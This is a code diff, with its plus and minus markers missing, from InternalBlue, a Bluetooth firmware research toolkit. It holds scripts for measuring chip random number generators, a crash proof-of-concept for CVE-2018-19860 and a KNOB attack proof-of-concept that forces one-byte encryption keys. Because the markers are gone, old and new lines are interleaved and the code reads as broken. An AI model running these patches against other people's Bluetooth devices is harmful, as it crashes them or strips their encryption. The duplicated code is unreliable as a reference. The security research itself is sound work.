# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
internalblue.logger.critical("Could not implement our launch RAM fix!")
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0xD2DEC, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -176,8 +181,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -185,19 +188,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -208,7 +214,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -217,7 +223,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -228,18 +234,21 @@ while rounds > i:
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20719-randomdata_pseudo-%irounds-0xc00-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+14 -13
View File
@@ -1,7 +1,8 @@
#!/usr/bin/python2
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.hcicore import HCICore
from internalblue.bluezcore import BluezCore
"""
Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board.
@@ -12,35 +13,35 @@ internalblue = ADBCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
except IndexError:
internalblue = HCICore()
internalblue = BluezCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
except IndexError:
internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
exit(-1)
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
progress_log = internalblue.logger.info("Connected to first target, installing patches...")
progress_log = log.info("Connected to first target, installing patches...")
# GENERATED PATCHES
internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc')
internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc')
internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb')
internalblue.writeMem(0x00218200, b'\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
internalblue.writeMem(0x00218300, b'\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
internalblue.writeMem(0x00218500, b'\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
internalblue.writeMem(0x00218600, b'\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
internalblue.writeMem(0x00218800, b'\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
internalblue.writeMem(0x00218000, b'\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("--------------------")
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
@@ -2,10 +2,11 @@
# Jiska Classen, Secure Mobile Networking Lab
# PoC for CVE-2018-19860
from pwnlib.asm import asm
import sys
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
@@ -28,10 +29,10 @@ is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
ASM_LOCATION_VSC_EXISTS = 0x00218300
LMP_VSC_CMD_START = 0x0f # 0xcf #0x52 # TODO change this depending on fuzz range
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 # TODO change this depending on fuzz range
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
@@ -115,46 +116,48 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches to crash other device on connect requests...")
progress_log = log.info("Installing assembly patches to crash other device on connect requests...")
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
# they don't know about Cypress yet...
internalblue.logger.info("Changing vendor ID from Cypress to Broadcom.")
if not internalblue.writeMem(address=0x2020f0, data=b'\x0f\x00\x00\x00', progress_log=None):
internalblue.logger.critical("error!")
progress_log = log.info("Changing vendor ID from Cypress to Broadcom.")
if not internalblue.writeMem(address=0x2020f0, data='\x0f\x00\x00\x00', progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP BPSC table lookup.")
progress_log = log.info("Writing ASM snippet for LMP BPSC table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Installing predefined hook for LMP BPSC table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
internalblue.logger.info("Installing predefined hook for LMP BPSC table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP BPSC existence check.")
progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
internalblue.logger.info("Installing LMP BPSC existence hook patch...")
log.info("Installing LMP BPSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
internalblue.logger.critical("error!")
log.critical("error!")
exit(-1)
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("------------------")
internalblue.logger.info(
"To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
log.info("------------------")
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
+39 -36
View File
@@ -1,18 +1,10 @@
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from internalblue import Address, hci
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p16, u16
from internalblue.utils.pwnlib_wrapper import log, asm
"""
This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
@@ -24,15 +16,17 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
@@ -41,24 +35,32 @@ internalblue.patchRom(Address(0x7402A), patch)
# modify global variable for own setting
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
internalblue.logger.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -73,19 +75,20 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
-88
View File
@@ -1,88 +0,0 @@
#!/usr/bin/python3
"""
WiSec 2021 tutorial example by Jiska Classen.
Hooks into LMP handler for Remote Feature Results and overwrites features.
"""
# imports for ADB and HCi core
from internalblue.adbcore import ADBCore
from internalblue.hcicore import HCICore
# imports for calling InternalBlue CLI
from internalblue.cli import InternalBlueCLI
from argparse import Namespace
import sys
# imports for our own script/hooks
from time import sleep
from pwnlib.asm import asm
from internalblue.utils.packing import u8, u32, p32
import binascii
internalblue = ADBCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
except IndexError:
internalblue = HCICore()
try:
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
except IndexError:
internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
exit(-1)
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
progress_log = internalblue.logger.info("Connected to first target, installing patches...")
LMP_PATCH_FEATURES_RES = 0x218000 # free RAM to write our own patch
LMP_FUNCT_FEATURES_RES = 0x0632EA # lm_HandleLmpFeaturesResPdu implementation
LMP_CMD_PTR = 0x20AB74 # lm_curCmd
LMP_PATCH_ASM = """
// restore first 4 bytes of lm_HandleLmpFeaturesResPdu
push {r4, lr}
mov r4, r0
// use r0-r1 locally
push {r0-r1, lr}
// overwrite features
ldr r0, =0x%x // lm_curCmd
add r0, 0x4 // lm_curCmd + 4
ldr r0, [r0] // &(lm_curCmd + 4) - this is the actual pointer to our payload
add r0, 0xd // LMP payload starts at 0xc with 1 byte opcode, 0xd is offset for payload
ldr r1, =0xcafebabe // overwrite features (hardcoded as of now)
str r1, [r0]
add r0, 0x4 // overwrite another 4 bytes (all features)
ldr r1, =0x0badf00d
str r1, [r0]
// restore original registers, branch to original implementation
pop {r0-r1, lr}
// go back to lm_HandleLmpFeaturesResPdu+4
b 0x%x
""" % (LMP_CMD_PTR, LMP_FUNCT_FEATURES_RES + 4)
# assemble our snippet and install it in RAM
code = asm(LMP_PATCH_ASM, vma=LMP_PATCH_FEATURES_RES) # branches are relative, we need to put the patches address here
if not internalblue.writeMem(address=LMP_PATCH_FEATURES_RES, data=code, progress_log=None):
internalblue.logger.critical("Could not write pre-hook for features result to RAM!")
exit(-1)
# patch the original function in ROM to branch to RAM
code = asm('b 0x%x' % LMP_PATCH_FEATURES_RES, vma=LMP_FUNCT_FEATURES_RES)
if not internalblue.patchRom(LMP_FUNCT_FEATURES_RES, code):
internalblue.logger.critical("Could not install Patchram entry to verwrite existing function!")
exit(-1)
# enter CLI so that we can still interact and see the connection request
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+36 -31
View File
@@ -2,17 +2,11 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
import internalblue.hci as hci
import numpy as np
from datetime import datetime
"""
Measure the RNG of the CYW20735 Evaluation Board.
@@ -125,37 +119,45 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
progress_log = log.info("Installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20735 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1425BC, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
internalblue.logger.critical("Could not implement our launch RAM fix!")
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
log.critical("Could not implement our launch RAM fix!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -164,8 +166,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -173,19 +173,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -196,7 +199,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -205,7 +208,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -216,18 +219,20 @@ while rounds > i:
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20735-randomdata-%irounds-0x500-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+41 -31
View File
@@ -3,15 +3,14 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
from datetime import datetime
"""
Measure the RNG of the CYW20819 Evaluation Board.
@@ -36,7 +35,7 @@ Changes:
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x219000
# 0x219000 crashed with 0x1000 in round 27
# 0x216000 looks emptier but crashed on first attempt
@@ -131,47 +130,54 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
# internalblue.logger.critical("error!")
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001
internalblue.logger.critical("Could not implement our launch RAM fix!")
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region at 0x219000
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -180,8 +186,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -189,19 +193,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -212,7 +219,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -221,7 +228,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -232,18 +239,21 @@ while rounds > i:
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20819-randomdata-0x500-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
